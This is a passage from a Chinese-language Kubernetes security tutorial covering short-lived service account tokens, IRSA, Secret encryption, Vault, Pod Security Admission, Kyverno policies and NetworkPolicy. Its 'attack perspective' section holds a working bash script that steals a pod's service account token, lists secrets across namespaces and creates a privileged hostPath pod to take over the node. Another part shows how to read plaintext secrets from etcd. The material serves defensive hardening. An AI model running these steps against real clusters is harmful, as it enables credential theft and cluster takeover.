  ④ ★ 不存在 Secret 里(读 secrets 也拿不到)
# ★ 正确写法:用投影 Volume 挂载短期 token
apiVersion: v1
kind: Pod
metadata:
  name: app-with-short-token
spec:
  serviceAccountName: app-sa
  automountServiceAccountToken: false      # ★ 关掉默认挂载
  containers:
  - name: app
    image: myapp:1.0
    volumeMounts:
    - name: kube-api-access
      mountPath: /var/run/secrets/kubernetes.io/serviceaccount
      readOnly: true
  volumes:
  - name: kube-api-access
    projected:                              # ★★ projected 是关键
      defaultMode: 0400
      sources:
      - serviceAccountToken:
          path: token
          expirationSeconds: 3600           # ★ 1 小时过期
          audience: my-internal-api         # ★ 限制受众
      - configMap:
          name: kube-root-ca.crt
          items:
          - key: ca.crt
            path: ca.crt
      - downwardAPI:
          items:
          - path: namespace
            fieldRef:
              fieldPath: metadata.namespace

★ 防御三:★ IRSA / Workload Identity(消灭长期云密钥)

★ 名词:IRSA(IAM Roles for Service Accounts) 白话:让 K8s 里的 Pod 直接用云的 IAM 角色访问云服务,不需要任何 AK/SK。

  • AWS 叫 IRSA(或新的 EKS Pod Identity)
  • GCP 叫 Workload Identity
  • 阿里云叫 RRSA(RAM Roles for Service Accounts)
★ 解决的问题(★ 这是 K8s 上云的头号安全问题):

  以前的做法(❌ 危险):
    应用要访问 S3 → 需要 AK/SK
    → 把 AK/SK 存成 K8s Secret
    → ★ 问题:
       ① Secret 只是 base64,etcd 里等同明文
       ② 长期密钥,不会过期
       ③ 任何能读 secrets 的人/Pod 都能拿到
       ④ 镜像、日志里都可能泄露

  IRSA 的做法(✅):
    ① 集群配置一个 OIDC 身份提供商(云平台信任这个集群签发的 token)
    ② SA 上写注解:"这个 SA 对应云的哪个角色"
    ③ Pod 启动时,K8s 自动投影一个【签名的 OIDC token】进去
    ④ 应用拿这个 token 去云平台的 STS 换【临时云凭据】(1 小时过期)
    ⑤ 应用用临时凭据访问 S3

    ★★★ 全程没有长期密钥,没有任何东西需要存
    ★★ 而且凭据会自动轮换
# ============================================================
# IRSA 完整配置(AWS EKS)
# ============================================================

# ① 云侧:创建一个角色,信任策略限制到具体 SA
# (Terraform)
resource "aws_iam_role" "s3_reader" {
  name = "eks-s3-reader"
  assume_role_policy = jsonencode({
    Version = "2012-10-17"
    Statement = [{
      Effect = "Allow"
      Principal = {
        Federated = "arn:aws:iam::123456789012:oidc-provider/oidc.eks.cn-north-1.amazonaws.com/id/EXAMPLED539D4633E53DE1B71EXAMPLE"
      }
      Action = "sts:AssumeRoleWithWebIdentity"        # ★ 注意是这个 Action
      Condition = {
        StringEquals = {
          # ★★ 精确到 【命名空间:ServiceAccount名】—— 这是关键!
          "oidc.eks.cn-north-1.amazonaws.com/id/EXAMPLED539D4633E53DE1B71EXAMPLE:sub" =
            "system:serviceaccount:production:app-sa"
          "oidc.eks.cn-north-1.amazonaws.com/id/EXAMPLED539D4633E53DE1B71EXAMPLE:aud" =
            "sts.amazonaws.com"
        }
      }
    }]
  })
}
# ② K8s 侧:SA 加注解
apiVersion: v1
kind: ServiceAccount
metadata:
  name: app-sa
  namespace: production
  annotations:
    eks.amazonaws.com/role-arn: arn:aws:iam::123456789012:role/eks-s3-reader
    # ★ GCP: iam.gke.io/gcp-service-account
    # ★ 阿里云: 通过 RRSA 的 OIDC 配置
---
# ③ Pod 用这个 SA
apiVersion: v1
kind: Pod
metadata:
  name: app
spec:
  serviceAccountName: app-sa        # ★ 就这一行
  containers:
  - name: app
    image: myapp:1.0
    # ★ 不需要任何 AK/SK 环境变量!AWS SDK 会自动发现
# ★ 验证:进 Pod 看看环境
kubectl exec -it app -- env | grep AWS
#   AWS_ROLE_ARN=arn:aws:iam::123456789012:role/eks-s3-reader
#   AWS_WEB_IDENTITY_TOKEN_FILE=/var/run/secrets/eks.amazonaws.com/serviceaccount/token
#   AWS_STS_REGIONAL_ENDPOINTS=regional
# ★ SDK 看到这两个变量就会自动走 AssumeRoleWithWebIdentity

# ★ 排错:为什么 IRSA 不生效?
#   ① SA 注解写错了(role-arn 拼错 / 用了错误的 SA)
#   ② 集群没启用 OIDC 提供商(eksctl utils associate-iam-oidc-provider)
#   ③ 信任策略的 sub 不匹配(★ 最常见的错:命名空间写错)
#   ④ Pod 里有 AWS_ACCESS_KEY_ID 环境变量
#      → ★ SDK 优先用环境变量,会【跳过】IRSA!这是个大坑

★ 攻击视角:SA Token 劫持链(完整演示)

#!/bin/bash
# ============================================================
# ★ 从"一个普通 Pod"到"集群管理员"的完整路径
# ★ 用途:红队 / 验证你的集群是否存在这个问题
# ============================================================

# 假设你通过任意方式(Web 漏洞、供应链投毒)在一个 Pod 里有了 shell

echo "[1] 检查有没有 SA token"
TOKEN_PATH="/var/run/secrets/kubernetes.io/serviceaccount/token"
if [ ! -f "$TOKEN_PATH" ]; then
  echo "  ✓ 这个 Pod 没挂载 token(automountServiceAccountToken: false 生效了)"
  echo "  → 尝试其他路径:容器逃逸 → 节点上找 kubeconfig"
  ls -la /var/lib/kubelet/ 2>/dev/null
  find / -name "kubeconfig*" -o -name "*.kubeconfig" 2>/dev/null | head
  exit 0
fi

TOKEN=$(cat $TOKEN_PATH)
CA="/var/run/secrets/kubernetes.io/serviceaccount/ca.crt"
NS=$(cat /var/run/secrets/kubernetes.io/serviceaccount/namespace)
APISERVER="https://${KUBERNETES_SERVICE_HOST}:${KUBERNETES_SERVICE_PORT}"
echo "  ✗ 有 token!命名空间: $NS"

echo ""
echo "[2] ★ 我是谁?我能干什么?"
curl -s --cacert $CA -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" -X POST \
  -d "{\"apiVersion\":\"authorization.k8s.io/v1\",\"kind\":\"SelfSubjectRulesReview\",\"spec\":{\"namespace\":\"$NS\"}}" \
  "$APISERVER/apis/authorization.k8s.io/v1/selfsubjectrulesreviews" \
  | python3 -m json.tool 2>/dev/null | head -60

echo ""
echo "[3] 尝试列出所有命名空间的 Secret"
for ns in $(curl -s --cacert $CA -H "Authorization: Bearer $TOKEN" \
    "$APISERVER/api/v1/namespaces" | python3 -c 'import sys,json;print("\n".join([i["metadata"]["name"] for i in json.load(sys.stdin)["items"]]))' 2>/dev/null); do
  echo "  --- namespace: $ns ---"
  curl -s --cacert $CA -H "Authorization: Bearer $TOKEN" \
    "$APISERVER/api/v1/namespaces/$ns/secrets" \
    | python3 -c '
import sys,json,base64
try:
    d = json.load(sys.stdin)
    if "items" not in d:
        print("     拒绝访问(好现象)"); sys.exit()
    for s in d["items"]:
        if s["type"] == "kubernetes.io/service-account-token":
            print(f"     ★★★ 找到 SA token Secret: {s[\"metadata\"][\"name\"]}")
except Exception as e:
    print(f"     error: {e}")
'
done

echo ""
echo "[4] ★ 如果有权限,直接创建特权 Pod 接管节点"
cat > /tmp/escape.yaml <<'EOF'
apiVersion: v1
kind: Pod
metadata:
  name: node-takeover
  namespace: default
spec:
  hostPID: true
  hostNetwork: true
  containers:
  - name: pwn
    image: alpine:3.19
    securityContext:
      privileged: true
    volumeMounts:
    - name: host
      mountPath: /host
  volumes:
  - name: host
    hostPath:
      path: /
      type: Directory
EOF
curl -s --cacert $CA -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/yaml" -X POST \
  --data-binary @/tmp/escape.yaml \
  "$APISERVER/api/v1/namespaces/default/pods" | head -20

echo ""
echo "===== ★★★ 防御方法(对应每一步)====="
echo "  [1] → automountServiceAccountToken: false(默认不挂载)"
echo "  [2] → 最小权限 RBAC,不给 wildcard、不给 secrets get/list"
echo "  [3] → ★ 用 Role 而不是 ClusterRole(限制在命名空间内)"
echo "  [4] → ★★ Pod Security Admission / Kyverno 禁止特权 Pod"
echo "        ★ 这是唯一能防住第 4 步的手段,RBAC 做不到"

10.4.4 Secret 管理:K8s 里最大的误解

★★★ 必须先破除的一个误解:

    K8s 的 Secret 【不是加密的】,它只是 base64 编码。

    base64 是一种编码,不是加密。
    ★ 任何人都能 1 秒解出来:

      echo 'YWRtaW4xMjM=' | base64 -d
      → admin123

    ★ 生活类比:
      把密码写在纸上,然后放进一个"透明的文件袋"。
      文件袋上贴着"机密"两个字。
      → 看起来像保护了,实际谁都能看见。
# ★ 眼见为实
kubectl create secret generic db-pass --from-literal=password=SuperSecret123

kubectl get secret db-pass -o yaml
# data:
#   password: U3VwZXJTZWNyZXQxMjM=       ← ★ 这就是 base64

echo 'U3VwZXJTZWNyZXQxMjM=' | base64 -d
# → SuperSecret123    ★ 就这样解出来了

# ★★ 直接从 etcd 里看(更真实)
kubectl exec -it -n kube-system etcd-<node> -- sh
etcdctl --cacert=/etc/kubernetes/pki/etcd/ca.crt \
        --cert=/etc/kubernetes/pki/etcd/server.crt \
        --key=/etc/kubernetes/pki/etcd/server.key \
        get /registry/secrets/default/db-pass
# → 输出里能看到明文密码(★ 未开启静态加密的话)

★ 防御一:开启 etcd 静态加密(Encryption at Rest)

# ============================================================
# /etc/kubernetes/pki/encryption-config.yaml
# ★ 放在 master 节点上
# ============================================================
apiVersion: apiserver.config.k8s.io/v1
kind: EncryptionConfiguration
resources:
- resources:
  - secrets                     # ★ 只对 secrets 加密
  providers:
  # ★★ provider 是有顺序的:第一个用于写入,其余用于读取
  - aescbc:                     # ★ 推荐(或 kms)
      keys:
      - name: key1
        secret: <32字节的base64字符串>
  - identity:                   # ★ 必须放最后,用于读取历史未加密数据
# 生成密钥
head -c 32 /dev/urandom | base64

# 修改 kube-apiserver 启动参数
# /etc/kubernetes/manifests/kube-apiserver.yaml
spec:
  containers:
  - command:
    - kube-apiserver
    - --encryption-provider-config=/etc/kubernetes/pki/encryption-config.yaml   # ★ 加这行
    volumeMounts:
    - name: encryption-config
      mountPath: /etc/kubernetes/pki/encryption-config.yaml
      readOnly: true
  volumes:
  - name: encryption-config
    hostPath:
      path: /etc/kubernetes/pki/encryption-config.yaml
      type: File

# ★ 配置完不会自动加密已有 Secret,需要强制重写一次
kubectl get secrets -A -o json | kubectl replace -f -
# ★ 这一步会触发所有 Secret 重新写入 → 用新的加密配置

# 验证
kubectl exec -it -n kube-system etcd-<node> -- sh -c \
  "etcdctl ... get /registry/secrets/default/db-pass" | head -c 200
# → ★ 应该看到 k8s:enc:aescbc:v1:key1: 开头的密文
★★★ 更推荐的方案:KMS Provider(用云厂商的 KMS)

  - aescbc:  密钥存在 master 节点的配置文件里
             ★ 问题:能登录 master 的人就能拿到密钥

  - kms:     ★ 密钥存在云 KMS 里,apiserver 每次加解密都要调 KMS API
             → 好处:
               ① 密钥不在节点上(★ 节点被攻破也拿不到)
               ② 有完整的密钥使用审计日志
               ③ 可以在云侧一键禁用密钥 → 整个集群的 Secret 立刻无法解密
                  ★ 这是应急响应的杀手锏
             → 代价:每次读写 Secret 都多一次 API 调用(有本地缓存缓解)

★ 防御二:外部 Secret 管理(治本方案)

★ 方案对比

┌────────────────────────┬────────────────────────────────────────┐
│ 方案                    │ 说明                                     │
├────────────────────────┼────────────────────────────────────────┤
│ ① K8s Secret + 静态加密 │ 基础,必须做,但 Secret 仍在集群内       │
├────────────────────────┼────────────────────────────────────────┤
│ ② ★ External Secrets   │ Secret 存在云密钥管理服务里               │
│    Operator             │ Operator 自动同步成 K8s Secret           │
│                         │ ★ 好处:单一数据源、自动轮换、集中审计   │
│                         │ ★ 缺点:最终还是落到 K8s Secret          │
├────────────────────────┼────────────────────────────────────────┤
│ ③ ★★ Vault + CSI Driver│ Secret 存在 Vault,通过 CSI 卷挂载进 Pod  │
│                         │ ★★ 根本不创建 K8s Secret 对象!          │
│                         │ ★ 而且可以动态凭据(每次用都是新的密码) │
├────────────────────────┼────────────────────────────────────────┤
│ ④ ★★★ 完全不用 Secret   │ 用 IRSA / Workload Identity              │
│    (云资源场景)        │ ★ 没有密钥 = 没有泄露                    │
└────────────────────────┴────────────────────────────────────────┘

★★ 我的推荐顺序:
   云资源访问 → 用 ④(IRSA),彻底消灭密钥
   数据库密码 → 用 ③(Vault 动态凭据)或 ②(External Secrets)
   实在不行   → 用 ①,但必须开启 KMS 静态加密 + 严格 RBAC
# ============================================================
# External Secrets Operator 示例
# ============================================================
apiVersion: external-secrets.io/v1beta1
kind: SecretStore
metadata:
  name: aws-secrets-manager
  namespace: production
spec:
  provider:
    aws:
      service: SecretsManager
      region: cn-north-1
      auth:
        jwt:
          serviceAccountRef:
            name: external-secrets-sa      # ★ 用 IRSA,不需要 AK/SK
---
apiVersion: external-secrets.io/v1beta1
kind: ExternalSecret
metadata:
  name: db-credentials
  namespace: production
spec:
  refreshInterval: 1h                      # ★ 每小时同步一次(云侧轮换后自动生效)
  secretStoreRef:
    name: aws-secrets-manager
    kind: SecretStore
  target:
    name: db-credentials                   # ★ 生成的 K8s Secret 名字
    creationPolicy: Owner
  data:
  - secretKey: password                    # K8s Secret 里的 key
    remoteRef:
      key: prod/mysql                      # 云密钥管理服务里的 key
      property: password
# ============================================================
# ★ Vault Agent Injector(★ 应用零改造,自动注入)
# ============================================================
apiVersion: v1
kind: Pod
metadata:
  name: app-with-vault
  annotations:
    vault.hashicorp.com/agent-inject: "true"
    vault.hashicorp.com/role: "production"
    vault.hashicorp.com/agent-inject-secret-db: "database/creds/prod-role"
    vault.hashicorp.com/agent-inject-template-db: |
      {{- with secret "database/creds/prod-role" -}}
      export DB_USER="{{ .Data.username }}"
      export DB_PASS="{{ .Data.password }}"
      {{- end }}
spec:
  serviceAccountName: app-sa
  containers:
  - name: app
    image: myapp:1.0
# ★ 效果:
#   ① Vault sidecar 自动注入
#   ② 用 SA token 去 Vault 认证
#   ③ Vault 【动态生成】一个数据库账号(有效期 1 小时)
#   ④ 渲染成文件挂载给应用
#   ★★ 数据库密码从不出现在 etcd、YAML、git 里

10.4.5 准入控制:唯一能防住“恶意 Pod”的机制

★ 为什么这一节最重要: 前面讲的 RBAC 能限制“谁能创建 Pod”,但它管不了“创建什么样的 Pod”。 如果一个主体(人或 SA)有 pods: create 权限,他就一定能创建特权 Pod—— RBAC 没有办法说“你可以创建 Pod,但不能创建特权 Pod”。 ★ 能做到这件事的只有准入控制器。

什么是准入控制器

★ 名词:Admission Controller(准入控制器) 白话:API Server 在处理请求时的“安检门”。 请求已经通过了认证(你是谁)和授权(你能不能做), 但在真正写入 etcd 之前,还要过这道门——门可以拒绝,也可以修改请求。

一次 kubectl apply 的完整流程:

   kubectl apply -f pod.yaml
        │
        ▼
  ┌─────────────────────────────────────────────┐
  │ ① 认证(Authentication)                     │
  │    你是谁?(证书 / token / OIDC)            │
  │    失败 → 401 Unauthorized                   │
  └─────────────────────────────────────────────┘
        ↓ 通过
  ┌─────────────────────────────────────────────┐
  │ ② 授权(Authorization / RBAC)               │
  │    你能不能做这个操作?                       │
  │    失败 → 403 Forbidden                     │
  └─────────────────────────────────────────────┘
        ↓ 通过
  ┌─────────────────────────────────────────────┐
  │ ③ ★★ 准入控制(Admission)                   │
  │    ├─ Mutating(修改):改请求内容            │
  │    │   例:自动注入 sidecar、加默认标签       │
  │    └─ Validating(校验):通过或拒绝          │
  │        例:禁止特权容器、必须有资源限制       │
  │    失败 → 请求被拒绝,不会写入 etcd           │
  └─────────────────────────────────────────────┘
        ↓ 通过
  ┌─────────────────────────────────────────────┐
  │ ④ 写入 etcd                                  │
  └─────────────────────────────────────────────┘

  ★★★ 关键点:准入控制是【唯一的】能在"写入之前"检查【内容】的环节
       RBAC 只看"谁 + 什么操作",不看"操作的具体内容是什么"

★ 名词:Pod Security Admission(PSA) 白话:K8s 官方内置的 Pod 安全准入控制器(1.25+ 正式可用), 把 Pod 的安全要求分成三档,你给命名空间打个标签就生效。 ★ 前身是 PodSecurityPolicy(PSP),PSP 太难用在 1.21 被废弃、1.25 移除。

Pod Security Standards 三档

┌──────────────┬───────────────────────────────────────────────────┐
│ 级别          │ 白话 + 禁止了什么                                   │
├──────────────┼───────────────────────────────────────────────────┤
│ ★ Privileged │ 【完全不限制】(等于没开)                           │
│ (特权)      │ 只用于:系统组件(CNI、CSI、监控 agent)            │
│              │ → kube-system 等命名空间才会用                      │
├──────────────┼───────────────────────────────────────────────────┤
│ ★★ Baseline  │ 【挡住已知的危险用法】,适合绝大多数业务            │
│ (基线)      │ 禁止:                                              │
│              │   - privileged 特权容器                              │
│              │   - hostNetwork / hostPID / hostIPC                  │
│              │   - hostPath 卷                                      │
│              │   - hostPort                                         │
│              │   - 危险的 capabilities(如 SYS_ADMIN)              │
│              │   - 特权端口(<1024)                                │
│              │   - /proc 的某些挂载类型                             │
│              │   - SELinux/AppArmor 的自定义配置                    │
│              │ ★ 不要求:runAsNonRoot、seccomp(这些在 restricted) │
├──────────────┼───────────────────────────────────────────────────┤
│ ★★★          │ 【最严格,安全最佳实践】                             │
│ Restricted   │ 在 Baseline 基础上,额外要求:                        │
│ (严格)      │   ✔ 必须 runAsNonRoot: true                         │
│              │   ✔ 必须 allowPrivilegeEscalation: false             │
│              │   ✔ 必须设置 seccompProfile: RuntimeDefault           │
│              │   ✔ 只能保留 NET_BIND_SERVICE 这一个 capability       │
│              │   ✔ 必须丢弃 ALL capabilities                        │
│              │   ✔ volume 类型受限(不能有 hostPath)                │
│              │ ★ 代价:很多老应用跑不起来(如需要 root 的)          │
└──────────────┴───────────────────────────────────────────────────┘

★ 三个模式(mode):
   enforce  → 违反就拒绝(★ 生产用这个)
   audit    → 不拒绝,但记录到审计日志(★ 先开这个观察)
   warn     → 不拒绝,但 kubectl 会返回警告给客户端(★ 开发体验最好)

★★ 落地建议(三步走,避免上线就炸):
   ① 先给命名空间打 audit + warn,观察 2 周
   ② 用 kubectl 看审计日志,找出会被拦的 Pod,逐一改造
   ③ 改成 enforce
# ============================================================
# PSA 配置实战
# ============================================================

# ① 给命名空间打标签
kubectl label namespace production \
  pod-security.kubernetes.io/enforce=restricted \
  pod-security.kubernetes.io/enforce-version=latest \
  pod-security.kubernetes.io/audit=restricted \
  pod-security.kubernetes.io/warn=restricted

# ★ 开发环境用 baseline(宽松些,避免影响效率)
kubectl label namespace dev \
  pod-security.kubernetes.io/enforce=baseline \
  pod-security.kubernetes.io/warn=restricted

# ★ 系统组件必须豁免(否则 CNI/CSI 起不来)
kubectl label namespace kube-system \
  pod-security.kubernetes.io/enforce=privileged

# ② 测试:试试创建一个特权 Pod,看会不会被拦
kubectl -n production run test --image=nginx --privileged
# Error from server (Forbidden): pods "test" is forbidden:
#   violates PodSecurity "restricted:latest":
#   privileged (container "test" must not set securityContext.privileged=true)

# ③ ★ 看谁会被拦(先用 audit 模式跑一段时间,再查审计日志)
kubectl -n production get events --field-selector reason=FailedCreate

# ④ ★★ 排错技巧:如何知道我的 Pod 为什么被拒?
#    错误信息会明确列出违反了哪几条,逐条改
#    常见需要改的:
#      - 加 securityContext.runAsNonRoot: true
#      - 加 securityContext.allowPrivilegeEscalation: false
#      - 加 securityContext.capabilities.drop: ["ALL"]
#      - 加 securityContext.seccompProfile.type: RuntimeDefault
# ============================================================
# ★ 一个能通过 Restricted 标准的 Pod 模板(★ 收藏这个)
# ============================================================
apiVersion: v1
kind: Pod
metadata:
  name: secure-pod
  namespace: production
spec:
  serviceAccountName: app-sa
  automountServiceAccountToken: false

  securityContext:                    # ★ Pod 级别
    runAsNonRoot: true
    runAsUser: 10001                  # ★ 非 0 的普通用户
    runAsGroup: 10001
    fsGroup: 10001
    seccompProfile:
      type: RuntimeDefault            # ★ 用容器运行时的默认 seccomp

  containers:
  - name: app
    image: myapp:1.0

    securityContext:                  # ★ 容器级别(★ 两个级别都要写)
      allowPrivilegeEscalation: false  # ★★ 阻止 setuid 提权
      runAsNonRoot: true
      runAsUser: 10001
      privileged: false
      readOnlyRootFilesystem: true     # ★★ 只读根文件系统(非常有效!)
      capabilities:
        drop: ["ALL"]                  # ★★ 丢弃所有 capability

    resources:
      requests:
        cpu: 100m
        memory: 128Mi
      limits:
        cpu: 500m
        memory: 512Mi

    # ★ 只读根文件系统,需要写的地方单独挂 emptyDir
    volumeMounts:
    - name: tmp
      mountPath: /tmp
    - name: cache
      mountPath: /app/cache

  volumes:
  - name: tmp
    emptyDir: {}                       # ★ 内存盘,Pod 删了就没了
  - name: cache
    emptyDir: {}
★★ 加几句关于 readOnlyRootFilesystem:

   这是【性价比最高】的一条加固。
   开启后,攻击者即使进了容器,也:
     ✗ 不能下载木马(没有写权限)
     ✗ 不能改应用代码
     ✗ 不能改 /etc/passwd
     ✗ 不能写计划任务
   ★ 一句话:把攻击者的"落地"这一步直接砍掉

   代价:如果应用需要写临时文件,要显式挂 emptyDir
   → 大部分应用改一下配置就能支持

Kyverno vs Gatekeeper vs PSA 怎么选

┌─────────────────┬──────────────────────────────────────────────┐
│                 │ 选型建议                                       │
├─────────────────┼──────────────────────────────────────────────┤
│ ★ PSA(内置)   │ 优点:零安装、零维护、官方标准                 │
│                 │ 缺点:只能管 Pod 安全这【一件事】               │
│                 │ ★ 结论:所有集群都应该开,作为【底线】          │
├─────────────────┼──────────────────────────────────────────────┤
│ ★★ Kyverno     │ 优点:YAML 写策略(★ 不用学 Rego)              │
│                 │      能管所有资源(不只是 Pod)                 │
│                 │      能 mutate(自动修复/注入)                 │
│                 │      能生成资源(如自动建 NetworkPolicy)       │
│                 │      能做镜像验证(配合 cosign)                │
│                 │ ★ 结论:★ 2026 年的首选,绝大多数团队用它       │
├─────────────────┼──────────────────────────────────────────────┤
│ ★ Gatekeeper   │ 优点:OPA 生态(已有 Rego 策略可复用)          │
│ (OPA)           │      能复用非 K8s 场景的策略                    │
│                 │ 缺点:★ Rego 学习曲线陡                         │
│                 │ ★ 结论:已经在用 OPA 管其他系统的团队选它       │
└─────────────────┴──────────────────────────────────────────────┘

★★ 推荐组合(★ 最实用):
   PSA(restricted)        → 兜底,防止任何 Pod 有致命配置
   + Kyverno                → 公司自定义规范(标签、镜像仓库、资源限制)
   + 镜像签名验证(cosign) → 供应链(见第九章)
# ============================================================
# ★ Kyverno 实战策略集(生产可直接用)
# ============================================================

# 策略 1:★ 只允许从公司私有镜像仓库拉取
apiVersion: kyverno.io/v1
kind: ClusterPolicy
metadata:
  name: restrict-image-registries
spec:
  validationFailureAction: Enforce
  rules:
  - name: validate-registries
    match:
      any:
      - resources:
          kinds: ["Pod"]
    validate:
      message: "★ 镜像必须来自公司私有仓库 registry.example.com"
      pattern:
        spec:
          containers:
          - image: "registry.example.com/*"     # ★ 只允许这个前缀
---
# 策略 2:★ 验证镜像签名(供应链安全,配合第九章的 cosign)
apiVersion: kyverno.io/v1
kind: ClusterPolicy
metadata:
  name: verify-image-signature
spec:
  validationFailureAction: Enforce
  webhookTimeoutSeconds: 30
  rules:
  - name: check-signature
    match:
      any:
      - resources:
          kinds: ["Pod"]
    verifyImages:
    - imageReferences:
      - "registry.example.com/*"
      attestors:
      - count: 1
        entries:
        - keyless:                            # ★ Sigstore keyless(见 9.3)
            subject: "https://github.com/myorg/*/.github/workflows/release.yml@refs/heads/main"
            issuer: "https://token.actions.githubusercontent.com"
            rekor:
              url: https://rekor.sigstore.dev
---
# 策略 3:★ 禁止使用 latest 标签 + 必须有资源限制(综合)
apiVersion: kyverno.io/v1
kind: ClusterPolicy
metadata:
  name: pod-best-practices
spec:
  validationFailureAction: Enforce
  rules:
  - name: no-latest-tag
    match:
      any:
      - resources:
          kinds: ["Pod"]
    validate:
      message: "禁止使用 latest 标签"
      pattern:
        spec:
          containers:
          - image: "!*:latest"
  - name: require-resource-limits
    match:
      any:
      - resources:
          kinds: ["Pod"]
    validate:
      message: "必须设置 CPU/内存 limit"
      pattern:
        spec:
          containers:
          - resources:
              limits:
                memory: "?*"
                cpu: "?*"
  - name: require-probes
    match:
      any:
      - resources:
          kinds: ["Pod"]
    validate:
      message: "必须配置 livenessProbe 和 readinessProbe"
      pattern:
        spec:
          containers:
          - livenessProbe:
              periodSeconds: ">0"
            readinessProbe:
              periodSeconds: ">0"
---
# 策略 4:★ 自动生成默认 NetworkPolicy(★ 见 10.4.6,非常有用)
apiVersion: kyverno.io/v1
kind: ClusterPolicy
metadata:
  name: generate-default-networkpolicy
spec:
  rules:
  - name: default-deny-ingress
    match:
      any:
      - resources:
          kinds: ["Namespace"]
    generate:
      apiVersion: networking.k8s.io/v1
      kind: NetworkPolicy
      name: default-deny-ingress
      namespace: "{{ request.object.metadata.name }}"
      synchronize: true
      data:
        spec:
          podSelector: {}
          policyTypes:
          - Ingress
          - Egress
          # ★ 只放行 DNS(★ 否则所有服务都解析不了域名)
          egress:
          - to:
            - namespaceSelector:
                matchLabels:
                  kubernetes.io/metadata.name: kube-system
              podSelector:
                matchLabels:
                  k8s-app: kube-dns
            ports:
            - protocol: UDP
              port: 53
            - protocol: TCP
              port: 53

10.4.6 网络策略(NetworkPolicy):K8s 里最该做却最少做的事

★★★ 一个必须知道的事实:

  K8s 集群默认【所有 Pod 之间网络全通】。

  任何 Pod 可以直接访问任何其他 Pod 的任意端口。
  跨命名空间也是通的。

  ★ 生活类比:
    住进一个小区,所有住户家的门都不锁,而且互相能直接进。
    你觉得"大家都是邻居,应该没问题"。
    直到有一天,一个外卖员(被攻破的边缘 Pod)进来,
    挨家挨户走了一遍。

  ★ 真实事故场景:
    攻击者通过一个前端 nginx 的 RCE 进来了
    → 发现能直接连到 10.0.3.15:6379(Redis,无密码)
    → 发现能直接连到 10.0.5.22:3306(MySQL)
    → 发现能连到 kubelet 的 10250 端口(★ 节点沦陷)
    → ★★ 整个过程没有任何阻碍

★ 名词:NetworkPolicy 白话:Pod 级别的防火墙规则。 你可以写“只允许 A 访问 B 的 8080 端口”,其他全拒。

★ 关键前提:NetworkPolicy 只是规则声明, 必须由 CNI 插件来实现。 ★ 如果 CNI 不支持(如 Flannel 默认不支持),你写了也完全不生效——而且不会报错!

CNI 插件对 NetworkPolicy 的支持
┌──────────────────┬────────────────┬──────────────────────┐
│ CNI              │ 支持 NP?        │ 备注                  │
├──────────────────┼────────────────┼──────────────────────┤
│ Calico           │ ★ 支持(最强)  │ 还支持全局策略、DNS 策略│
│ Cilium           │ ★ 支持(+L7)   │ ★ 还能基于 HTTP 路径过滤│
│ Weave Net        │ 支持            │                       │
│ Antrea           │ 支持            │                       │
│ ★ Flannel        │ ✗ 不支持!      │ ★★ 最流行的 CNI 之一,  │
│                  │                │    但不实现 NP!        │
│                  │                │    → 需搭配 Calico 使用 │
│ AWS VPC CNI      │ 支持(需装额外)│ 要装 network policy agent│
└──────────────────┴────────────────┴──────────────────────┘

★ 验证你的集群是否支持(★ 一定要先测):
   创建一条 default-deny 策略,然后看 Pod 之间还能不能通
   如果还能通 → ★ 你的 NetworkPolicy 是"纸糊的"
# ★ 验证 NP 是否真的生效(必测)
kubectl run nginx --image=nginx --port=80
kubectl run busybox --image=busybox:1.36 -- sleep 3600
NGINX_IP=$(kubectl get pod nginx -o jsonpath='{.status.podIP}')

echo "=== 测试 1:应用策略前 ==="
kubectl exec busybox -- wget -qO- --timeout=5 http://$NGINX_IP && echo "✓ 能连通"

# 应用默认拒绝
cat <<'EOF' | kubectl apply -f -
apiVersion: networking.k8s.io/v1
kind: NetworkPolicy
metadata:
  name: default-deny-all
  namespace: default
spec:
  podSelector: {}          # ★ 空 = 选中本命名空间所有 Pod
  policyTypes:
  - Ingress
  - Egress
EOF

echo "=== 测试 2:应用策略后 ==="
kubectl exec busybox -- wget -qO- --timeout=5 http://$NGINX_IP \
  && echo "✗✗ 还能连通 = NetworkPolicy 没生效!检查 CNI" \
  || echo "✓ 被拒绝了 = NetworkPolicy 正常工作"

★ 网络策略的正确落地姿势

# ============================================================
# 第一步:★ 默认拒绝所有(每个命名空间都要有)
# ============================================================
apiVersion: networking.k8s.io/v1
kind: NetworkPolicy
metadata:
  name: default-deny-all
  namespace: production
spec:
  podSelector: {}                     # 选中所有 Pod
  policyTypes:
  - Ingress                           # 拒绝所有入站
  - Egress                            # ★ 拒绝所有出站(★ 这个更重要!)
  # ★ 没写 egress 规则 = 拒绝所有出站
  #   → 能挡住:挖矿外联、数据外传、反弹 shell、下载木马
---
# ============================================================
# 第二步:★ 放行 DNS(★ 不放行所有服务都会挂)
# ============================================================
apiVersion: networking.k8s.io/v1
kind: NetworkPolicy
metadata:
  name: allow-dns
  namespace: production
spec:
  podSelector: {}
  policyTypes:
  - Egress
  egress:
  - to:
    - namespaceSelector:
        matchLabels:
          kubernetes.io/metadata.name: kube-system     # ★ K8s 1.21+ 自动打的标签
    ports:
    - protocol: UDP
      port: 53
    - protocol: TCP
      port: 53
---
# ============================================================
# 第三步:★ 三层架构的典型放行规则
# ============================================================
apiVersion: networking.k8s.io/v1
kind: NetworkPolicy
metadata:
  name: allow-web-to-api
  namespace: production
spec:
  podSelector:
    matchLabels:
      tier: api                       # 规则作用在 api 层
  policyTypes:
  - Ingress
  ingress:
  - from:
    - podSelector:
        matchLabels:
          tier: web                   # ★ 只允许来自 web 层
    ports:
    - protocol: TCP
      port: 8080                      # ★ 只放行 8080
---
apiVersion: networking.k8s.io/v1
kind: NetworkPolicy
metadata:
  name: allow-api-to-db
  namespace: production
spec:
  podSelector:
    matchLabels:
      tier: db
  policyTypes:
  - Ingress
  ingress:
  - from:
    - podSelector:
        matchLabels:
          tier: api
    ports:
    - protocol: TCP
      port: 3306
---
# ============================================================
# 第四步:★ 跨命名空间的规则(监控为例)
# ============================================================
apiVersion: networking.k8s.io/v1
kind: NetworkPolicy
metadata:
  name: allow-prometheus-scrape
  namespace: production
spec:
  podSelector: {}
  policyTypes:
  - Ingress
  ingress:
  - from:
    - namespaceSelector:
        matchLabels:
          kubernetes.io/metadata.name: monitoring
      podSelector:
        matchLabels:
          app: prometheus
    ports:
    - protocol: TCP
      port: 9090
---
# ============================================================
# 第五步:★ 允许访问外网,但禁止访问云元数据(★ 关键!)
# ============================================================
apiVersion: networking.k8s.io/v1
kind: NetworkPolicy
metadata:
